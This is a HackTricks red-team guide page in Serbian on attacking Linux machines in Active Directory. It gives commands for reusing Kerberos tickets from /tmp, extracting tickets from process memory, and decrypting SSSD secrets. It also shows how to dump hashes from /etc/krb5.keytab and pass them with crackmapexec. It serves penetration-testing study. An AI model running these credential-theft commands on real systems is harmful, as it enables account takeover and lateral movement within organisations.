Linux Active Directory

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Linux mašina takođe može biti prisutna unutar okruženja Active Directory.

Linux mašina u AD-u može čuvati različite CCACHE tikete unutar fajlova. Ovi tiketi mogu biti korišćeni i zloupotrebljeni kao i bilo koji drugi kerberos tiket. Da biste pročitali ove tikete, morate biti vlasnik tiketa ili root unutar mašine.

Enumeracija

Enumeracija AD-a sa linux-a

Ako imate pristup AD-u na linux-u (ili bash-u na Windows-u), možete pokušati https://github.com/lefayjey/linWinPwn da biste enumerisali AD.

Takođe možete proveriti sledeću stranicu da biste saznali druge načine enumeracije AD-a sa linux-a:

FreeIPA

FreeIPA je open-source alternativa za Microsoft Windows Active Directory, uglavnom za Unix okruženja. Kombinuje potpuni LDAP direktorijum sa MIT Kerberos Key Distribution Centrom za upravljanje slično kao Active Directory. Koristi Dogtag Certificate System za upravljanje CA & RA sertifikatima, podržava multi-factor autentifikaciju, uključujući pametne kartice. SSSD je integrisan za Unix autentifikacione procese. Saznajte više o tome u:

Igranje sa tiketima

Pass The Ticket

Na ovoj stranici ćete pronaći različita mesta gde biste mogli pronaći kerberos tikete unutar linux hosta, na sledećoj stranici možete naučiti kako pretvoriti ove CCache tikete u Kirbi format (format koji je potreban za Windows) i takođe kako izvesti PTT napad:

CCACHE tiket ponovna upotreba iz /tmp

CCACHE fajlovi su binarni formati za čuvanje Kerberos akreditiva i obično se čuvaju sa 600 dozvolama u /tmp. Ovi fajlovi se mogu identifikovati po svom formatu imena, krb5cc_%{uid}, koji se odnosi na UID korisnika. Za verifikaciju autentifikacionog tiketa, okružna promenljiva KRB5CCNAME treba biti postavljena na putanju željenog fajla sa tiketom, omogućavajući njegovu ponovnu upotrebu.

Prikažite trenutni tiket koji se koristi za autentifikaciju sa env | grep KRB5CCNAME. Format je prenosiv i tiket se može ponovno koristiti postavljanjem okružne promenljive sa export KRB5CCNAME=/tmp/ticket.ccache. Format imena Kerberos tiketa je krb5cc_%{uid} gde je uid UID korisnika.

# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000

# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000

Ponovna upotreba CCACHE karata iz keyringa

Kerberos karte koje su pohranjene u memoriji procesa mogu se izvući, posebno kada je onemogućena zaštita ptrace na mašini (/proc/sys/kernel/yama/ptrace_scope). Korisni alat za tu svrhu može se pronaći na https://github.com/TarlogicSecurity/tickey, koji olakšava izvlačenje ubrizgavanjem u sesije i ispisivanjem karata u /tmp.

Da biste konfigurisali i koristili ovaj alat, sledite korake u nastavku:

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i

Ovaj postupak će pokušati da ubaci u različite sesije, što ukazuje na uspeh čuvanjem izvučenih karata u /tmp sa konvencijom imenovanja __krb_UID.ccache.

Ponovna upotreba CCACHE karte iz SSSD KCM

SSSD održava kopiju baze podataka na putanji /var/lib/sss/secrets/secrets.ldb. Odgovarajući ključ se čuva kao skrivena datoteka na putanji /var/lib/sss/secrets/.secrets.mkey. Podrazumevano, ključ je čitljiv samo ako imate root dozvole.

Pozivanje **SSSDKCMExtractor ** sa parametrima --database i --key će analizirati bazu podataka i dekriptovati tajne.

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

Kerberos bloba keširanog akreditiva može se pretvoriti u upotrebljiv Kerberos CCache fajl koji se može proslediti Mimikatz/Rubeus alatima.

Ponovna upotreba CCACHE tiketa iz keytab fajla

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Izdvajanje naloga iz /etc/krb5.keytab

Ključevi servisnih naloga, koji su neophodni za servise koji rade sa privilegijama root-a, bezbedno se čuvaju u datotekama /etc/krb5.keytab. Ovi ključevi, slični lozinkama za servise, zahtevaju strogu poverljivost.

Za pregled sadržaja keytab datoteke, može se koristiti alatka klist. Ovaj alat prikazuje detalje ključeva, uključujući i NT Hash za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23.

klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

Za Linux korisnike, KeyTabExtract nudi funkcionalnost za izvlačenje RC4 HMAC heša, koji se može iskoristiti za ponovnu upotrebu NTLM heša.

python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability

Na macOS-u, bifrost služi kao alat za analizu keytab fajlova.

./bifrost -action dump -source keytab -path /path/to/your/file

Koristeći izvučene informacije o nalogu i hešu, moguće je uspostaviti konekcije sa serverima koristeći alate poput crackmapexec.

crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated